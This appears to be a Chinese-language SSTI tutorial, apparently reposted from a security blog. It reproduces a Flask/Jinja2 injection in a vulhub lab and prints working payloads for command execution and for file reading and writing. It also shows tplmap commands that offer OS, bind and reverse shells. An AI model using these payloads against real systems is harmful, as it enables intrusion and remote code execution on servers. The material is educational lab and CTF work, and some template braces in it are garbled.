SSTI完全学习[通俗易懂]

SSTI完全学习[通俗易懂]一、什么是SSTISSTI就是服务器端模板注入(Server-SideTemplateInjection),也给出了一个注入的概念

一、什么是SSTI

SSTI就是服务器端模板注入(Server-Side Template Injection),也给出了一个注入的概念。

常见的注入有:SQL 注入,XSS 注入,XPATH 注入,XML 注入,代码注入,命令注入等等。sql注入已经出世很多年了,对于sql注入的概念和原理很多人应该是相当清楚了,SSTI也是注入类的漏洞,其成因其实是可以类比于sql注入的。

sql注入是从用户获得一个输入,然后又后端脚本语言进行数据库查询,所以可以利用输入来拼接我们想要的sql语句,当然现在的sql注入防范做得已经很好了,然而随之而来的是更多的漏洞。

SSTI也是获取了一个输入,然后再后端的渲染处理上进行了语句的拼接,然后执行。当然还是和sql注入有所不同的,SSTI利用的是现在的网站模板引擎(下面会提到),主要针对python、php、java的一些网站处理框架,比如Python的jinja2 mako tornado django,php的smarty twig,java的jade velocity。当这些框架对运用渲染函数生成html的时候会出现SSTI的问题。

现在网上提起的比较多的是Python的网站。

二、谈谈模板引擎

百度百科的定义:
模板引擎(这里特指用于Web开发的模板引擎)是为了使用户界面与业务数据(内容)分离而产生的,它可以生成特定格式的文档,用于网站的模板引擎就会生成一个标准的HTML文档。
模板引擎可以让(网站)程序实现界面与数据分离,业务代码与逻辑代码的分离,这就大大提升了开发效率,良好的设计也使得代码重用变得更加容易。

也就是说,利用模板引擎来生成前端的html代码,模板引擎会提供一套生成html代码的程序,然后只需要获取用户的数据,然后放到渲染函数里,然后生成模板+用户数据的前端html页面,然后反馈给浏览器,呈现在用户面前。

模板引擎也会提供沙箱机制来进行漏洞防范,但是可以用沙箱逃逸技术来进行绕过。

三、回到SSTI

1、简单例子

先给出下面这个例子,以便理解:

$output = $twig->render("Hello { 
   {name}}", array("name" => $_GET["name"])); 
echo $output;

当然在渲染过程中会有很多不一样的处理,这个是比较简单的一个,对于现在的SSTI在后端处理的时候也会有许多的过滤。

总之,ssti就是这么个道理,就像sql注入中你用id=-1’ union select database()可以拿到数据库一样,当然在漏洞利用上还是有很多的技巧,也会有绕过的技巧的。

2、Flask(Jinja2) 服务端模板注入漏洞复现

ctf中比较常见的还是python站的SSTI,下面用vulhub上的一个环境来复现Flask的SSTI漏洞,展示一下流程

1)docker环境搭建
docker-compose up -d    
2)注入检测

访问http://192.168.1.10:8000/
[外链图片转存失败(img-WSzM3J8q-1563519679126)(en-resource://database/739:1)]

传参?name={
{7*8}},可以得到:
在这里插入图片描述
传参?name={
{7*8}},可以得到:
在这里插入图片描述

说明存在SSTI漏洞

3)漏洞利用

官方的漏洞利用方法:

{% for c in [].__class__.__base__.__subclasses__() %}
{% if c.__name__ == 'catch_warnings' %}
  {% for b in c.__init__.__globals__.values() %}
  {% if b.__class__ == {}.__class__ %}
    {% if 'eval' in b.keys() %}
      {
  
  { b['eval']('__import__("os").popen("id").read()') }}
    {% endif %}
  {% endif %}
  {% endfor %}
{% endif %}
{% endfor %}

把上面这一串当做name参数传递即可实现命令执行:

http://192.168.1.10:8000/?name={%%20for%20c%20in%20[].__class__.__base__.__subclasses__()%20%}%20{%%20if%20c.__name__%20==%20%27catch_warnings%27%20%}%20{%%20for%20b%20in%20c.__init__.__globals__.values()%20%}%20{%%20if%20b.__class__%20==%20{}.__class__%20%}%20{%%20if%20%27eval%27%20in%20b.keys()%20%}%20{
  
  {%20b[%27eval%27](%27__import__(%22os%22).popen(%22id%22).read()%27)%20}}%20{%%20endif%20%}%20{%%20endif%20%}%20{%%20endfor%20%}%20{%%20endif%20%}%20{%%20endfor%20%}

结果如下:
在这里插入图片描述

看到id命令成功执行

四、关于SSTI的python类的知识

很多刚开始学习SSTI的新手可能看到上面的利用方法就蒙圈了,不太懂为什么要这么做,下面来讲一下关于Python中类的知识。

面向对象语言的方法来自于类,对于python,有很多好用的函数库,我们经常会再写Python中用到import来引入许多的类和方法,python的str(字符串)、dict(字典)、tuple(元组)、list(列表)这些在Python类结构的基类都是object,而object拥有众多的子类。

首先进入python—命令行输入python进入这样的界面:
在这里插入图片描述
进行以下输入:

>>> ''.__class__
<type 'str'>
>>> ().__class__
<type 'tuple'>
>>> [].__class__
<type 'list'>
>>> { 
   }.__class__
<type 'dict'>

__class__:用来查看变量所属的类,根据前面的变量形式可以得到其所属的类。

>>> ().__class__.__bases__
(<type 'object'>,)
>>> ''.__class__.__bases__
(<type 'basestring'>,)
>>> [].__class__.__bases__
(<type 'object'>,)
>>> { 
   }.__class__.__bases__
(<type 'object'>,)

>>> [].__class__.__bases__[0]
<type 'object'>

__bases__:用来查看类的基类,也可是使用数组索引来查看特定位置的值

>>> [].__class__.__bases__[0].__subclasses__()
[<type 'type'>, <type 'weakref'>, <type 'weakcallableproxy'>, <type 'weakproxy'>, <type 'int'>, <type 'basestring'>, <type 'bytearray'>, <type 'list'>, <type 'NoneType'>, <type 'NotImplementedType'>, <type 'traceback'>, <type 'super'>, <type 'xrange'>, <type 'dict'>, <type 'set'>, <type 'slice'>, <type 'staticmethod'>, <type 'complex'>, <type 'float'>, <type 'buffer'>, <type 'long'>, <type 'frozenset'>, <type 'property'>, <type 'memoryview'>, <type 'tuple'>, <type 'enumerate'>, <type 'reversed'>, <type 'code'>, <type 'frame'>, <type 'builtin_function_or_method'>, <type 'instancemethod'>, <type 'function'>, <type 'classobj'>, <type 'dictproxy'>, <type 'generator'>, <type 'getset_descriptor'>, <type 'wrapper_descriptor'>, <type 'instance'>, <type 'ellipsis'>, <type 'member_descriptor'>, <type 'file'>, <type 'PyCapsule'>, <type 'cell'>, <type 'callable-iterator'>, <type 'iterator'>, <type 'sys.long_info'>, <type 'sys.float_info'>, <type 'EncodingMap'>, <type 'fieldnameiterator'>, <type 'formatteriterator'>, <type 'sys.version_info'>, <type 'sys.flags'>, <type 'sys.getwindowsversion'>, <type 'exceptions.BaseException'>, <type 'module'>, <type 'imp.NullImporter'>, <type 'zipimport.zipimporter'>, <type 'nt.stat_result'>, <type 'nt.statvfs_result'>, <class 'warnings.WarningMessage'>, <class 'warnings.catch_warnings'>, <class '_weakrefset._IterationGuard'>, <class '_weakrefset.WeakSet'>, <class '_abcoll.Hashable'>, <type 'classmethod'>, <class '_abcoll.Iterable'>, <class '_abcoll.Sized'>, <class '_abcoll.Container'>, <class '_abcoll.Callable'>, <type 'dict_keys'>, <type 'dict_items'>, <type 'dict_values'>, <class 'site._Printer'>, <class 'site._Helper'>, <type '_sre.SRE_Pattern'>, <type '_sre.SRE_Match'>, <type '_sre.SRE_Scanner'>, <class 'site.Quitter'>, <class 'codecs.IncrementalEncoder'>, <class 'codecs.IncrementalDecoder'>, <type 'operator.itemgetter'>, <type 'operator.attrgetter'>, <type 'operator.methodcaller'>, <type 'functools.partial'>, <type 'MultibyteCodec'>, <type 'MultibyteIncrementalEncoder'>, <type 'MultibyteIncrementalDecoder'>, <type 'MultibyteStreamReader'>, <type 'MultibyteStreamWriter'>]

__subclasses__():查看当前类的子类。

当然我们也可以直接用object.__subclasses__(),会得到和上面一样的结果。
获取基类还能用还有__mro__,比如:

>>> ''.__class__.__mro__
(<class 'str'>, <class 'object'>)
>>> [].__class__.__mro__
(<class 'list'>, <class 'object'>)
>>> { 
   }.__class__.__mro__
(<class 'dict'>, <class 'object'>)
>>> ().__class__.__mro__
(<class 'tuple'>, <class 'object'>)

>>> ().__class__.__mro__[1]            //使用索引就能获取基类了
<class 'object'>

这样我们在进行SSTI注入的时候就可以通过这种方式使用很多的类和方法,通过子类再去获取子类的子类,更多的方法大家可以去发现和搜集。

五、一些常用的方法

//获取基本类
''.__class__.__mro__[1]
{ 
   }.__class__.__bases__[0]
().__class__.__bases__[0]
[].__class__.__bases__[0]
object

//读文件
().__class__.__bases__[0].__subclasses__()[40](r'C:\1.php').read()
object.__subclasses__()[40](r'C:\1.php').read()

//写文件
().__class__.__bases__[0].__subclasses__()[40]('/var/www/html/input', 'w').write('123')
object.__subclasses__()[40]('/var/www/html/input', 'w').write('123')

//执行任意命令
().__class__.__bases__[0].__subclasses__()[59].__init__.func_globals.values()[13]['eval']('__import__("os").popen("ls /var/www/html").read()' )
object.__subclasses__()[59].__init__.func_globals.values()[13]['eval']('__import__("os").popen("ls /var/www/html").read()' )

上面漏洞复现时候的payload也是很强了,用类于编程的方式来展现,不用再一个个去查索引了:

{ 
   % for c in [].__class__.__base__.__subclasses__() %}
{ 
   % if c.__name__ == 'catch_warnings' %}
  { 
   % for b in c.__init__.__globals__.values() %}
  { 
   % if b.__class__ == { 
   }.__class__ %}
    { 
   % if 'eval' in b.keys() %}
      { 
   { 
    b['eval']('__import__("os").popen("id").read()') }}         //poppen的参数就是要执行的命令
    { 
   % endif %}
  { 
   % endif %}
  { 
   % endfor %}
{ 
   % endif %}
{ 
   % endfor %}

有的时候还是需要绕过和沙箱逃逸才能实现SSTI的。

六、SSTI神器–Tplmap

先给出下载地址:https://github.com/epinna/tplmap
需要环境:PyYaml

pip install PyYaml
1、简单使用

以上面复现的漏洞为例简单介绍一下用法:

root@kali:/mnt/hgfs/共享文件夹/tplmap-master# python tplmap.py -u "http://192.168.1.10:8000/?name=Sea" //判断是否是注入点
[+] Tplmap 0.5
    Automatic Server-Side Template Injection Detection and Exploitation Tool

[+] Testing if GET parameter 'name' is injectable
[+] Smarty plugin is testing rendering with tag '*'
[+] Smarty plugin is testing blind injection
[+] Mako plugin is testing rendering with tag '${*}'
[+] Mako plugin is testing blind injection
[+] Python plugin is testing rendering with tag 'str(*)'
[+] Python plugin is testing blind injection
[+] Tornado plugin is testing rendering with tag '{ 
   {*}}'
[+] Tornado plugin is testing blind injection
[+] Jinja2 plugin is testing rendering with tag '{ 
   {*}}'
[+] Jinja2 plugin has confirmed injection with tag '{ 
   {*}}'
[+] Tplmap identified the following injection point:

  GET parameter: name                //说明可以注入,同时给出了详细信息
  Engine: Jinja2
  Injection: { 
   { 
   *}}
  Context: text
  OS: posix-linux
  Technique: render
  Capabilities:

   Shell command execution: ok           //检验出这些利用方法对于目标环境是否可用
   Bind and reverse shell: ok
   File write: ok
   File read: ok
   Code evaluation: ok, python code

[+] Rerun tplmap providing one of the following options:
                                                                  //可以利用下面这些参数进行进一步的操作
    --os-shell				Run shell on the target
    --os-cmd				Execute shell commands
    --bind-shell PORT			Connect to a shell bind to a target port
    --reverse-shell HOST PORT	Send a shell back to the attacker's port
    --upload LOCAL REMOTE	Upload files to the server
    --download REMOTE LOCAL	Download remote files

拿shell、执行命令、bind_shell、反弹shell、上传下载文件,Tplmap为SSTI的利用提供了很大的便利

//获取更多参数信息,要善于利用帮助信息来学习
python tplmap.py -h
2、Nunjucks模板引擎沙箱逃逸
python tplmap.py -u http://792.168.1.10:8000/?name=* --engine Nunjucks --os-shell

具体详情参考:https://www.anquanke.com/post/id/84336

3、使用训练

tplmap项目中附带有docker环境,可供学习和熟悉tplmap:
https://github.com/epinna/tplmap/tree/master/docker-envs

今天的文章SSTI完全学习[通俗易懂]分享到此就结束了,感谢您的阅读。

版权声明:本文内容由互联网用户自发贡献,该文观点仅代表作者本人。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如发现本站有涉嫌侵权/违法违规的内容, 请发送邮件至 举报,一经查实,本站将立刻删除。
如需转载请保留出处:https://bianchenghao.cn/74375.html

(0)
编程小号编程小号

相关推荐

发表回复

您的电子邮箱地址不会被公开。 必填项已用 * 标注